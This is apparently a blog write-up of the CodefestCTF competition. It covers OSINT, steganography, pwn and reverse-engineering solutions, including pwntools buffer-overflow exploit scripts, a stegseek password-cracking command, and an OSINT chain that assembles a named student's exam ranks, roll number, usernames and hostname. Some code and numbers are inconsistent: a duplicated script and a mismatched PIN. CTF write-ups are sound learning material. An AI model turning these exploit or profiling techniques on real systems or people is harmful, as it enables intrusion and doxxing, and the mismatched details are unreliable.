Yesterday, I had participated in the CTF event organized by IIT(BHU), Varanasi. It was a tedious 36-hour CTF event. Going solo (almost), I had one hell of a time solving challenges alone. This CTF had challenges in categories such as:

  • OSINT
  • Forensics
  • Steganography
  • Web
  • PPC (Professional Programming Challenges)
  • Rev
  • Pwn
  • Crypto
  • Misc

Wow… okay. That’s a lot of categories. Our team managed to solve 20 Out of these, I contributed to 17 of them. We ranked 52 out of the 720 teams that participated.

Caution: It’s gonna be a big write-up.


OSINT

JEE (Advanced)

Desc:

The CTF event had a chain OSINT event. First of all, we were given the name Arnav Kumar Sinha, and we needed to find his JEE year and rank.
I put his name in Google and found his LinkedIn profile:

Upon viewing his profile, I got this:

Flag: CodefestCTF{2022_858}

JEE Main

Desc:

This one was very easy. I saw images in the Google search and found this YouTube video with his percentile.

Flag: CodefestCTF{99.72}

Alias

Desc:

This was the easiest one for me. I had tried to search for his social media, which gave away nothing. Then I got an idea: we had his LinkedIn, and I knew this one hidden feature (not really) in LinkedIn, which is that we can change our URL to our liking. I checked his URL, and hell yeah!

Flag: CodefestCTF{iedfa}

CP

Desc:

After searching for a long while, I realized I might not be doing it right. After an hour of agony, I remembered that URLs can have usernames.

And searching with iedfa, I got the ratings:

Flag: CodefestCTF{1687_1769_2018}

Github

Desc:

This challenge is also related to the Alias challenge. Since it says Github, I searched for his username in Github, which yielded no result. Then I tried again with the username and got his Github:

Flag: CodefestCTF{JustAnAverageGuy}

Present Sir!

Desc:

Back to the first challenge. When I was searching using his name again on Google, after some pages, I got this PDF from IIT (BHU) Varanasi:

Flag: CodefestCTF{22075013}

Why do they even need this?

Desc:

This challenge is the final boss. This is that one challenge which we thought was hard but was actually easy af. I got to his Github and started searching every repo for “username” and “hostname”. For some 11 hours, this challenge had successfully made me mental. What I did finally with some hints was:

By doing owner:JustAnAverageGuy /home, I got his username, which is aks. But trying owner:JustAnAverageGuy aks didn’t give anything useful. So I used owner:JustAnAverageGuy aks@, which refers to the usual prompts on Ubuntu or Ubuntu-based systems, and BOOM!

Flag: CodefestCTF{aks_aks-Inspiron-3505}

KVT

Desc:

A simple geo-OSINT challenge based around Varanasi. Using Google Lens, I narrowed down the picture’s location to the correct area:

Then, using Google Maps, I found the location, but we needed to pin down the exact coordinates and round them up to four digits. Using the picture 360-degree feature, I found the exact same image:

As we can see, there are coordinates of the location in the link. After rounding up the latitude and longitude:

Flag: CodefestCTF{25.3071_83.0104}

College

Desc:

Just like the challenge before:

  • Performed a Lens search and found the place using it.

  • Couldn’t find the exact place. Searching around, I found this:

  • Searched with Madan Mohan Malviya Statue, Varanasi and found it.

  • Found a street view and got to the exact position.

  • Found the latitude and longitude using the URL.

Flag: CodefestCTF{25.2779_83.0024}

This concludes the OSINT challenges. I had a lot of fun solving the challenges, except when I couldn’t.

Takeaway:

What do you know about Arnav Kumar Sinha?
Me: Yes

Forensics/Steg

For steganography, I often use Aperisolve.

DogeCoin

Desc:

Inputting the image in Aperisolve, I started looking for any hints. Then I found this suspicious string that was similar to Base64 in the zsteg section (this can also be solved by the zsteg tool). Using CyberChef’s auto-detector, I found it was actually a Base32 encoding and decoded it.

Flag: CodefestCTF{51mpl3_lsb_573g0_ftw}

Cats

Desc:

In this challenge, many people (me >.<) struggled to solve it because you need to use the right tool. Using stegseek with rockyou.txt, we can extract the text file from the image and get the flag.

stegseek chall.jpg /path/to/rockyou.txt`

Flag: CodefestCTF{573gh1de_ch4ll_m30w}

RickRoll

Desc:

The “I” in the description refers to the author (0xkn1gh7). Since the said tool is documented and related to ctf, my idea was that it would be mentioned in a write-up. So I searched using his name and got this:

Since we were given an MP3 file (and mp3 was in the write-up), searching for “mp3” yielded this:

The tool name is Stegonaut.

For the password: remember we were given a cover.png. Inputting it in Aperisolve, I found a unique password, giveupplease.

Inputting it as the password, we successfully get a Base64 string, and decoding it gives the flag:

Flag: CodefestCTF{1e55_kn0wn_573g0_700l}

Crypto

Rat with Wings?

Desc:

For this challenge, I knew where to decode right away! I went to dCode and started searching for the symbol language resembling the given one. I found this:

Decoding it, I got:

Flag: CodefestCTF{IAMBATMAN}

Pwn

Mirror

Desc:

When I did nc with the given host and port, I was prompted to enter anything.

So I tried a buffer overflow, but it didn’t work. Then I tried a format string vulnerability and got something:

Hmm… doesn’t it seem like hex values? Anyway, I wrote an exploit program using Python.

from pwn import *

context.binary = binary = "./chall"
payload = b"a"*32 + p32(0x23456723)
print(payload)
p = remote("codefest-ctf.iitbhu.tech",59267)
# p = process()
p.sendline(payload)
p.interactive()c

This will input the exploit payload and print the values unhexed. Running the program, I got:

The flag was a bit messed up. After arranging them properly, we get:

Flag: CodefestCTF{f0rm4t_57r1ng_l34k_sk41wUet}

Admin?

Desc:

Running the challenge file, we are prompted to enter something:

I checked if I could buffer overflow the program, and to my surprise, I could. After trying some things, I decided I should perform AMM (Arbitrary Memory Modification). So I decompiled the challenge file using Cutter.

undefined4 main(int argc) {
    int32_t unaff_EBX;
    char *s;
    unsigned long var_14h;
    int32_t var_10h;
    
    var_10h = (int32_t)&argc;
    __x86.get_pc_thunk.bx();
    setbuf(**(undefined4 **)(unaff_EBX + 0x2d15), 0);
    banner();
    var_14h = 1;
    fgets(&s, 0x32, **(undefined4 **)(unaff_EBX + 0x2d11));
    if (var_14h == 0x23456723) {
        win();
    } else {
        printf(unaff_EBX + 0x1069, var_14h);
    }
    return 0;
}

I crafted my payload based on the decompiled program. I inputted 32 as to overflow the buffer and place the value in var_14h.

from pwn import *

context.binary = binary = "./chall"
payload = b"a"*32 + p32(0x23456723)
print(payload)
p = remote("codefest-ctf.iitbhu.tech", 59267)
# p = process()
p.sendline(payload)
p.interactive()

Running the exploit, we were able to modify the value in var_14h and trigger the win() function.

Rev

Bank

Desc:

The challenge ELF file prompts for a PIN, and we should be able to get the flag if we find the PIN. Decompiling the challenge file, we are greeted with this:

undefined8 main(void) {
    int32_t iVar1;
    char *s;
    setbuf(_stdout, 0);
    banner();
    printf("[*] ENTER YOUR PIN: ");
    fgets(&s, 0xd, _stdin);
    iVar1 = check((char *)&s);
    if (iVar1 == 0) {
        puts("[!] VAULT IS EMPTY!");
    } else {
        print_flag();
    }
    return 0;
}

The input is passed as a parameter to the check function. Looking at the check function:

void check(char *arg1) {
    char *var_60h;
    int64_t var_58h;
    undefined4 var_20h;
    int32_t var_1ch;
    int32_t var_18h;
    int32_t var_14h;
    int32_t var_10h;
    int64_t var_ch;
    
    for (var_ch._0_4_ = 0; (int32_t)var_ch < 0xc; var_ch._0_4_ = (int32_t)var_ch + 1) {
        *(int32_t *)((int64_t)&var_58h + (int64_t)(int32_t)var_ch * 4) = arg1[(int32_t)var_ch] + -0x30;
    }
    
    var_10h = 0;
    for (var_14h = 0; var_14h < 0xc; var_14h = var_14h + 1) {
        var_10h = var_10h + *(int32_t *)((int64_t)&var_58h + (int64_t)var_14h * 4);
    }
    
    if (var_10h == 0x30) {
        var_18h = 1;
        for (var_1ch = 0; var_1ch < 0xc; var_1ch = var_1ch + 1) {
            var_18h = *(int32_t *)((int64_t)&var_58h + (int64_t)var_1ch * 4) * var_18h;
        }
        if (var_18h == 0x51000) {
            var_20h = 0;
        }
    }
    return;
}

What this function essentially does:

  • Check if the sum of digits of the input is 0x30 (48 in decimal).
  • Check if the product of digits is 0x51000 (331776 in decimal).
  • Ensure the input is 12 digits long (0xd - 1 due to the null terminator).

We can brute-force the correct value or use some math to deduce the PIN. After some exploration, I got the PIN: 1112266688 (there could be other combinations).

from pwn import *

context.binary = binary = "./chall"
payload = '111122666688'
p = remote("codefest-ctf.iitbhu.tech", 8063)
p.recv()
p.sendline(payload)
p.interactive()

Running the script, I got:

Flag: CodefestCTF{n0_10g1c_15_54f3_75lFUPCZ}

Nothing

Desc:

This was an interesting challenge. When I ran the file, it did nothing. So I decompiled it to see what was going on inside.

int64_t sub_1189(char* arg1)
{
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    int32_t var_d8;
    __builtin_memcpy(&var_d8, "\"\n\r\n…", 0x54);
    int32_t var_84 = 0;
    int32_t var_80 = 0;
    int32_t var_7c;
    __builtin_memcpy(&var_7c, "\x3e\x00\x00\x00\x08\x00\x00\x00\x5d\x00\x00\x00\x16\x00\x00\x00\x2a\x00\x00\x00\x1e\x00\x00\x00\x45\x00\x00\x00\x5b\x00\x00\x00\x19\x00\x00\x00\x3a\x00\x00\x00\x1f\x00\x00\x00\x43\x00\x00\x00\x31\x00\x00\x00\x5a\x00\x00\x00\x53\x00\x00\x00\x07\x00\x00\x00\x5f\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x15\x00\x00\x00", 0x50);
    
    for (int32_t i = 0; i <= 0x2a; i += 1)
        putchar(arg1[COMBINE(0, i) % strlen(arg1)] ^ (&var_d8)[i]);
    
    puts(&data_2004);
    
    if (rax == *(fsbase + 0x28))
        return rax - *(fsbase + 0x28);
    
    __stack_chk_fail();
    /* no return */
}

int64_t sub_13bc(char* arg1)
{
    FILE* fp = fopen(arg1, u"r…");
    
    if (!fp)
        return 0;
    
    fclose(fp);
    return 1;
}

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    int64_t var_28;
    __builtin_strcpy(&var_28, "aeiousvowels\\idonothing");
    int32_t result;
    
    if (sub_13bc(&var_28))
    {
        sub_1189(&var_28);
        result = 0;
    }
    else
        result = 1;
    
    *(fsbase + 0x28);
    
    if (rax == *(fsbase + 0x28))
        return result;
    
    __stack_chk_fail();
    /* no return */
}

Key logic:

  • var_28 = "aeiousvowels\idonothing".
  • The string is passed to sub_13bc, which checks if a file named "aeiousvowels\idonothing" exists.
  • If the file exists, it proceeds to XOR the string in sub_1189 and prints the result.

Solution: Create a file named aeiousvowels\idonothing and run the challenge file. Doing so, I got:

Flag: CodefestCTF{n0_pr1n71ng_m4y_m34n_s0m37h1ng}

Misc

Feedback

Click the link, give feedback, and submit it to get the flag.

Sanity

The well-awaited sanity challenge. The FINAL BOSS!

The solution for sanity is.. (author has been kidnapped)
5 mins later
*Hoof… *pants… The OTHERS are targeting me for trying to reveal the answer. I don’t know if I can live past this. I don’t think I have the time to give the full solution.
But I will give a hint:
This is not the only time a challenge named sanity or sanity check has appeared.
Oh no!!! They are here! Goodbye, guys!…
*Shooting sounds *Screams


Conclusion

This CTF was fun. I had lots of learning and exploration. And I scored well too!

Note: It is written before sanity because I know the risks :)